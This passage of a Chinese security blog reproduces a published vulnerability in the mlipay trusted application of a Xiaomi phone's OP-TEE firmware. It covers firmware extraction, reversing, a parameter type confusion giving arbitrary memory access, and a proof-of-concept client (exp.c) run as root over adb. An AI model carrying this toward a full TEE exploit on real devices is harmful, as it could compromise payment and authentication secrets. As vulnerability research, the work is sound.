<span class="n">boot</span><span class="p">.</span><span class="n">img</span> <span class="n">firstboot</span><span class="p">.</span><span class="n">img</span> <span class="n">modemdsp</span><span class="p">.</span><span class="n">bin</span> <span class="n">recovery</span><span class="p">.</span><span class="n">img</span> <span class="n">trustzone</span><span class="p">.</span><span class="n">img</span>
<span class="n">cache</span><span class="p">.</span><span class="n">img</span> <span class="n">misc</span><span class="p">.</span><span class="n">img</span> <span class="n">partition</span><span class="p">.</span><span class="n">txt</span> <span class="n">secondboot</span><span class="p">.</span><span class="n">img</span> <span class="n">userdata</span><span class="p">.</span><span class="n">img</span>
<span class="err">➜</span> <span class="n">binwalk</span> <span class="o">-</span><span class="n">A</span> <span class="p">.</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span>
<span class="n">DECIMAL</span> <span class="n">HEXADECIMAL</span> <span class="n">DESCRIPTION</span>
<span class="o">------------------------------------------------------------------------</span>
<span class="mi">6828</span> <span class="mh">0x1AAC</span> <span class="n">AArch64</span> <span class="n">instructions</span><span class="p">,</span> <span class="n">function</span> <span class="n">epilogue</span>
<span class="mi">6840</span> <span class="mh">0x1AB8</span> <span class="n">AArch64</span> <span class="n">instructions</span><span class="p">,</span> <span class="n">function</span> <span class="n">epilogue</span>
<span class="mi">6976</span> <span class="mh">0x1B40</span> <span class="n">AArch64</span> <span class="n">instructions</span><span class="p">,</span> <span class="n">function</span> <span class="n">epilogue</span>
<span class="mi">6980</span> <span class="mh">0x1B44</span> <span class="n">AArch64</span> <span class="n">instructions</span><span class="p">,</span> <span class="n">nop</span>
<span class="mi">6984</span> <span class="mh">0x1B48</span> <span class="n">AArch64</span> <span class="n">instructions</span><span class="p">,</span> <span class="n">nop</span>
<span class="mi">6988</span> <span class="mh">0x1B4C</span> <span class="n">AArch64</span> <span class="n">instructions</span><span class="p">,</span> <span class="n">nop</span>
<span class="p">...</span>
<span class="err">➜</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">ifaa</span>
<span class="n">ifaa_in_sign_authresponse</span>
<span class="n">ifaa_tz_authenticate</span>
<span class="n">ifaa_in_validate_req_sig</span>
<span class="p">...</span>
</code></pre></div></div>
<p>很明显我们的目标是trustzone.img,如果用ATF视角可以称呼这部分为BL32,经过对比,最新版开发版和稳定版的trustzone.img是完全一致的(虽然版本号看起来差别挺大,但其实固件发布时间就只差了三个月),因此我们用开发版的root权限,来复现议题中稳定版的漏洞是完全可以的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">md5sum</span> <span class="p">.</span><span class="o">/</span><span class="n">meri_images_V11</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">3</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="n">NCJCNXM_20191125</span><span class="p">.</span><span class="mo">0000</span><span class="p">.</span><span class="mo">00</span><span class="n">_7</span><span class="p">.</span><span class="mi">1</span><span class="n">_cn</span><span class="o">/</span><span class="n">images</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span>
<span class="mi">6</span><span class="n">a5e05c93fb09c452d273c0e9b909831</span> <span class="p">.</span><span class="o">/</span><span class="n">meri_images_V11</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">3</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="n">NCJCNXM_20191125</span><span class="p">.</span><span class="mo">0000</span><span class="p">.</span><span class="mo">00</span><span class="n">_7</span><span class="p">.</span><span class="mi">1</span><span class="n">_cn</span><span class="o">/</span><span class="n">images</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span>
<span class="err">➜</span> <span class="n">md5sum</span> <span class="p">.</span><span class="o">/</span><span class="n">meri_images_9</span><span class="p">.</span><span class="mi">8</span><span class="p">.</span><span class="mi">29</span><span class="n">_20190829</span><span class="p">.</span><span class="mo">0000</span><span class="p">.</span><span class="mo">00</span><span class="n">_7</span><span class="p">.</span><span class="mi">1</span><span class="n">_cn</span><span class="o">/</span><span class="n">images</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span>
<span class="mi">6</span><span class="n">a5e05c93fb09c452d273c0e9b909831</span> <span class="p">.</span><span class="o">/</span><span class="n">meri_images_9</span><span class="p">.</span><span class="mi">8</span><span class="p">.</span><span class="mi">29</span><span class="n">_20190829</span><span class="p">.</span><span class="mo">0000</span><span class="p">.</span><span class="mo">00</span><span class="n">_7</span><span class="p">.</span><span class="mi">1</span><span class="n">_cn</span><span class="o">/</span><span class="n">images</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span>
</code></pre></div></div>
<p>那么接下来我们就来处理一下这个trustzone.img,虽然他没有ELF格式,但小米给他封装成了Android bootimg格式:</p>
<ul>
<li><a href="https://source.android.com/docs/core/architecture/bootloader/boot-image-header?hl=en#header-v0">Boot Image Header: Legacy boot image header, version 0</a></li>
<li><a href="https://blog.csdn.net/qq_31811537/article/details/81909813">深入boot.img格式文件结构解析</a></li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">file</span> <span class="p">.</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span>
<span class="p">.</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span><span class="o">:</span> <span class="n">Android</span> <span class="n">bootimg</span><span class="p">,</span> <span class="n">kernel</span> <span class="p">(</span><span class="mh">0x8000000</span><span class="p">),</span> <span class="n">second</span> <span class="n">stage</span><span class="p">,</span> <span class="n">page</span> <span class="n">size</span><span class="o">:</span> <span class="mi">4096</span>
</code></pre></div></div>
<p>按照Android 9之前的boot image header,这里的kernel size为0x6161C,kernel addr为0x8000000,kernel就指OP-TEE OS kernel。OP-TEE OS Kernel代码在trustzone.img的偏移为0x1000,但OP-TEE OS Kernel本身还有0x1C字节的头不加载到内存中,因此有效OP-TEE OS Kernel代码在文件偏移0x101c处,长度为0x61600,加载的虚拟地址为0x8000000:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/tz.jpeg" alt="image" /></p>
<p>按照这个参数把目标封成ELF:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">'aarch64'</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'trustzone.img'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mh">0x101c</span><span class="p">:</span><span class="mh">0x101c</span><span class="o">+</span><span class="mh">0x61600</span><span class="p">]</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'trustzone.elf'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">make_elf</span><span class="p">(</span><span class="n">sc</span><span class="p">,</span><span class="n">vma</span><span class="o">=</span><span class="mh">0x8000000</span><span class="p">))</span>
</code></pre></div></div>
<p>然后就可以扔进IDA逆向了,结果很好,函数基本都分析出来了,1500个函数:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/re1.png" alt="image" /></p>
<p>根据trustzone.img中的版本字符串信息,可以确认其使用的OP-TEE OS版本为2.5(2017年左右的版本),因此如果想更好的逆向,可以编译此版本的ARM64二进制然后使用bindiff恢复符号:</p>
<blockquote>
<p><a href="https://github.com/OP-TEE/optee_os/tree/2.5.0">https://github.com/OP-TEE/optee_os/tree/2.5.0</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">trustzone</span><span class="p">.</span><span class="n">img</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">dev</span>
<span class="n">GPD</span><span class="o">-</span><span class="mi">1</span><span class="p">.</span><span class="mi">1</span><span class="o">-</span><span class="n">dev</span>
<span class="mi">2</span><span class="p">.</span><span class="mi">5</span><span class="p">.</span><span class="mi">0</span><span class="o">-</span><span class="mi">257</span><span class="o">-</span><span class="n">g65d26c0</span><span class="o">-</span><span class="n">dev</span>
<span class="n">get</span> <span class="n">device</span> <span class="n">id</span> <span class="n">fail</span>
<span class="n">get</span> <span class="n">deviceid</span> <span class="n">fail</span>
<span class="n">gpd</span><span class="p">.</span><span class="n">tee</span><span class="p">.</span><span class="n">deviceID</span>
</code></pre></div></div>
<h3 id="3-基础逆向">(3) 基础逆向</h3>
<p>如果你自己尝试编译一个带符号的OP-TEE,就可以发现PTA在OP-TEE OS Kernel二进制中的组织方式如下,所有PTA的UUID、name以及相关的调用函数都会保存在rodata中,因此这也是分析PTA的入手点:</p>
<blockquote>
<p>本图是<a href="https://mp.weixin.qq.com/s/J_oy7q3zsdgzi85vtKnrOg">OSR TrustZone Pwn</a>其中的课程实践,这些分析、逆向、调试等方法,均包含在培训课程中</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/rw_invoke.png" alt="image" /></p>
<p>议题中也提到了这段数据,其中主要关注mlipay和mitrust两个PTA,以mlipay为例,箭头指出的就是mlipay的UUID,CA需要通过这个UUID调用到mlipay:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/pta.png" alt="image" /></p>
<p>在对trustzone.elf的逆向过程中,通过字符串搜索,交叉引用,搜索字符串地址的使用等方法就可以找到这段数据,9个8字节为一组,开始为UUID,最后PTA的invoke函数:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/re2.png" alt="image" /></p>
<p>例如sub_801EB58就是mlipay的invoke函数,为了方便逆向,可以恢复其参数a4为TEE_Param结构体指针:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/2.5.0/source/lib/libutee/include/tee_api_types.h#L71">op-tee/2.5.0/source/lib/libutee/include/tee_api_types.h</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/re3.png" alt="image" /></p>
<p>如果对TA的常见安全问题有所了解,就会发现,sub_801EB58没有对第三个参数a3(指出a4的参数类型)进行使用,因此也就没有地方检查a3,所以这直接就类型混淆了,进而可以使用a4的memref.buffer传入任意的内存地址,引发任意地址读写漏洞。不过这个类型混淆也并不是OP-TEE本身的原因,只要在TA中正确检查参数类型,即可避免此问题:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/type.png" alt="image" /></p>
<h3 id="4-交互输入">(4) 交互输入</h3>
<p>由于我们已经找到了目标PTA的UUID,所以逆向可以暂时搁置,我们先来完成CA和PTA的交互,即编译CA去调用目标PTA。仍然以mlipay为例,首先按照UUID的格式拆分mlipay的UUID:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/uuid.png" alt="image" /></p>
<p>然后确定一个需要执行到的目标,这里以mlipay的invoke函数sub_801EB58中这句<code class="language-plaintext highlighter-rouge">Invalid protocol</code>的打印,代码执行到这里要过三个if判断:</p>
<ol>
<li>a2即invoke调用的commandID为0</li>
<li><code class="language-plaintext highlighter-rouge">a4[0].memref.buffer</code>和<code class="language-plaintext highlighter-rouge">a4[1].memref.buffer</code>,即invoke的param参数前两个都要设置</li>
<li><code class="language-plaintext highlighter-rouge">*buffer (*a4[0].memref.buffer)</code>即传递过来的共享内存前4个字节不为<code class="language-plaintext highlighter-rouge">\x01\x00\x00\x00</code></li>
</ol>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/if.jpeg" alt="image" /></p>
<p>按照这个要求完成CA代码,其中共享内存的前四个字节设置为(int)11223344:</p>
<blockquote>
<p>paramTypes一定要设置前两个参数的类型,否则参数不会传递</p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <tee_client_api.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="n">TEEC_Context</span> <span class="n">ctx</span> <span class="p">;</span>
<span class="n">TEEC_Session</span> <span class="n">sess</span><span class="p">;</span>
<span class="n">TEEC_Operation</span> <span class="n">op</span><span class="p">;</span>
<span class="n">TEEC_UUID</span> <span class="n">uuid</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x66F1C983</span><span class="p">,</span> <span class="mh">0x2444</span><span class="p">,</span> <span class="mh">0x42B4</span><span class="p">,{</span><span class="mh">0x8D</span><span class="p">,</span> <span class="mh">0xB1</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xB2</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x76</span> <span class="p">}};</span>
<span class="kt">int</span> <span class="n">r</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_InitializeContext</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="o">&</span><span class="n">ctx</span><span class="p">);</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_OpenSession</span><span class="p">(</span><span class="o">&</span><span class="n">ctx</span><span class="p">,</span> <span class="o">&</span><span class="n">sess</span><span class="p">,</span> <span class="o">&</span><span class="n">uuid</span><span class="p">,</span> <span class="n">TEEC_LOGIN_PUBLIC</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] open mlipay : %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">r</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">op</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">op</span><span class="p">));</span>
<span class="n">op</span><span class="p">.</span><span class="n">paramTypes</span> <span class="o">=</span> <span class="n">TEEC_PARAM_TYPES</span><span class="p">(</span><span class="n">TEEC_MEMREF_TEMP_INPUT</span><span class="p">,</span> <span class="n">TEEC_MEMREF_TEMP_OUTPUT</span><span class="p">,</span> <span class="n">TEEC_NONE</span><span class="p">,</span> <span class="n">TEEC_NONE</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">payload</span> <span class="o">=</span> <span class="mi">11223344</span><span class="p">;</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span> <span class="o">=</span> <span class="n">payload</span><span class="p">;</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x1000</span><span class="p">;</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x1000</span><span class="p">;</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_InvokeCommand</span><span class="p">(</span><span class="o">&</span><span class="n">sess</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">op</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] invoke mlipay : %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">r</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>编译相关的文件以及工具如下,其中lib库需要从手机shell中拽出来或者从刷机包中解出来:</p>
<ul>
<li>lib库:adb pull /system/lib64/libteec.so ./</li>
<li>头文件:<a href="https://github.com/OP-TEE/optee_client/blob/master/public/tee_client_api.h">optee_client/public/tee_client_api.h</a></li>
<li>编译工具:<a href="https://developer.android.com/ndk/downloads?hl=zh-cn">https://developer.android.com/ndk/downloads</a>: aarch64-linux-android21-clang</li>
</ul>
<p>文件目录如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">tree</span> <span class="o">-</span><span class="n">N</span> <span class="o">-</span><span class="n">L</span> <span class="mi">2</span>
<span class="p">.</span>
<span class="err">├──</span> <span class="n">exp</span><span class="p">.</span><span class="n">c</span>
<span class="err">├──</span> <span class="n">include</span>
<span class="err">│</span> <span class="err">└──</span> <span class="n">tee_client_api</span><span class="p">.</span><span class="n">h</span>
<span class="err">└──</span> <span class="n">lib</span>
<span class="err">└──</span> <span class="n">libteec</span><span class="p">.</span><span class="n">so</span>
</code></pre></div></div>
<p>编译命令如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">aarch64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">android21</span><span class="o">-</span><span class="n">clang</span> <span class="n">exp</span><span class="p">.</span><span class="n">c</span> <span class="o">-</span><span class="n">o</span> <span class="n">exp</span> <span class="o">-</span><span class="n">I</span> <span class="p">.</span><span class="o">/</span><span class="n">include</span> <span class="o">-</span><span class="n">lteec</span> <span class="o">-</span><span class="n">L</span> <span class="p">.</span><span class="o">/</span><span class="n">lib</span>
<span class="err">➜</span> <span class="n">file</span> <span class="p">.</span><span class="o">/</span><span class="n">exp</span>
<span class="p">.</span><span class="o">/</span><span class="n">exp</span><span class="o">:</span> <span class="n">ELF</span> <span class="mi">64</span><span class="o">-</span><span class="n">bit</span> <span class="n">LSB</span> <span class="n">pie</span> <span class="n">executable</span><span class="p">,</span> <span class="n">ARM</span> <span class="n">aarch64</span><span class="p">,</span> <span class="n">version</span> <span class="mi">1</span> <span class="p">(</span><span class="n">SYSV</span><span class="p">),</span> <span class="n">dynamically</span> <span class="n">linked</span><span class="p">,</span> <span class="n">interpreter</span> <span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">linker64</span><span class="p">,</span> <span class="n">not</span> <span class="n">stripped</span>
</code></pre></div></div>
<p>然后把编译好的二进制放到手机上执行,可以看到执行成功,open返回0,证明打开成功,invoke返回-65530,为目标分支的返回,因此目标这句打印<code class="language-plaintext highlighter-rouge">Invalid protocol</code>应该已经被执行:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">adb</span> <span class="n">push</span> <span class="p">.</span><span class="o">/</span><span class="n">exp</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">exp</span>
<span class="p">.</span><span class="o">/</span><span class="n">exp</span><span class="o">:</span> <span class="mi">1</span> <span class="n">file</span> <span class="n">pushed</span><span class="p">,</span> <span class="mi">0</span> <span class="n">skipp</span><span class="p">...</span><span class="mi">7</span> <span class="n">MB</span><span class="o">/</span><span class="n">s</span> <span class="p">(</span><span class="mi">7008</span> <span class="n">bytes</span> <span class="n">in</span> <span class="mi">0</span><span class="p">.</span><span class="mo">000</span><span class="n">s</span><span class="p">)</span>
<span class="err">➜</span> <span class="n">adb</span> <span class="n">shell</span>
<span class="n">meri</span><span class="o">:/</span> <span class="err">#</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">exp</span>
<span class="n">WARNING</span><span class="o">:</span> <span class="n">linker</span><span class="o">:</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">exp</span><span class="o">:</span> <span class="n">unsupported</span> <span class="n">flags</span> <span class="n">DT_FLAGS_1</span><span class="o">=</span><span class="mh">0x8000001</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">open</span> <span class="n">mlipay</span> <span class="o">:</span> <span class="mi">0</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">invoke</span> <span class="n">mlipay</span> <span class="o">:</span> <span class="o">-</span><span class="mi">65530</span>
<span class="n">meri</span><span class="o">:/</span> <span class="err">#</span>
</code></pre></div></div>
<p>那么我们能看到这句打印么?</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/if.jpeg" alt="image" /></p>
<h3 id="5-交互输出">(5) 交互输出</h3>
<p>在议题PPT中提到了OP-TEE的打印信息,开始我以为这个日志是从串口找到的,但slipper提到拆机找串口时,他们把手机拆坏了,因此这个log应该不是串口打印的:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/log.png" alt="image" /></p>
<p>所以我怀疑这个log存在于手机的linux文件系统中,搜索tee相关的文件,找到一个可疑的文件<code class="language-plaintext highlighter-rouge">/data/misc/tee/teec.log</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">meri:</span><span class="o">/</span> <span class="err">#</span> <span class="n">find</span> <span class="o">/</span> <span class="o">-</span><span class="n">name</span> <span class="s">"*tee*"</span> <span class="mi">2</span><span class="o">>/</span><span class="n">dev</span><span class="o">/</span><span class="n">null</span>
<span class="o">/</span><span class="n">persist</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">tee_supplicant</span>
<span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libteec</span><span class="p">.</span><span class="n">so</span>
<span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libteeclientjni</span><span class="p">.</span><span class="n">so</span>
<span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">libteec</span><span class="p">.</span><span class="n">so</span>
<span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">libteeclientjni</span><span class="p">.</span><span class="n">so</span>
<span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">vendor</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">kernel</span><span class="o">/</span><span class="n">debug</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">devices</span><span class="o">/</span><span class="k">virtual</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">devices</span><span class="o">/</span><span class="k">virtual</span><span class="o">/</span><span class="n">tee</span><span class="o">/</span><span class="n">tee0</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">devices</span><span class="o">/</span><span class="k">virtual</span><span class="o">/</span><span class="n">tee</span><span class="o">/</span><span class="n">teepriv0</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">class</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">class</span><span class="o">/</span><span class="n">tee</span><span class="o">/</span><span class="n">tee0</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">class</span><span class="o">/</span><span class="n">tee</span><span class="o">/</span><span class="n">teepriv0</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">firmware</span><span class="o">/</span><span class="n">devicetree</span><span class="o">/</span><span class="n">base</span><span class="o">/</span><span class="n">firmware</span><span class="o">/</span><span class="n">optee</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">module</span><span class="o">/</span><span class="n">optee</span>
<span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">module</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">misc</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">misc</span><span class="o">/</span><span class="n">tee</span><span class="o">/</span><span class="n">teec</span><span class="p">.</span><span class="n">log</span>
<span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">tee</span>
<span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">teepriv0</span>
<span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">tee0</span>
</code></pre></div></div>
<p>打开发现这还真是OP-TEE的日志打印文件,并且可以看到刚才我们触发的Invalid protocol那句打印,version为传入的111223344:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">meri:</span><span class="o">/</span> <span class="err">#</span> <span class="n">tail</span> <span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">misc</span><span class="o">/</span><span class="n">tee</span><span class="o">/</span><span class="n">teec</span><span class="p">.</span><span class="n">log</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">16</span><span class="o">:</span><span class="mi">29</span><span class="o">:</span><span class="mo">02</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">403</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">17</span><span class="o">:</span><span class="mi">28</span><span class="o">:</span><span class="mo">02</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">398</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">17</span><span class="o">:</span><span class="mi">28</span><span class="o">:</span><span class="mo">02</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">403</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">20</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mi">46</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">398</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
<span class="mo">03</span><span class="o">-</span><span class="mi">08</span> <span class="mi">20</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mi">46</span> <span class="n">TEE</span> <span class="p">[</span><span class="mi">403</span><span class="p">]</span> <span class="o">:</span> <span class="p">[</span><span class="mo">005</span><span class="p">]</span><span class="o">:</span> <span class="n">ERROR</span><span class="o">:</span> <span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="n">TEE</span><span class="o">-</span><span class="n">CORE</span><span class="o">:</span><span class="n">ecc_sign_raw_data</span><span class="o">:</span><span class="mi">524</span><span class="o">:</span> <span class="n">content</span> <span class="n">length</span> <span class="n">is</span> <span class="n">unexpected</span> <span class="mi">16</span>
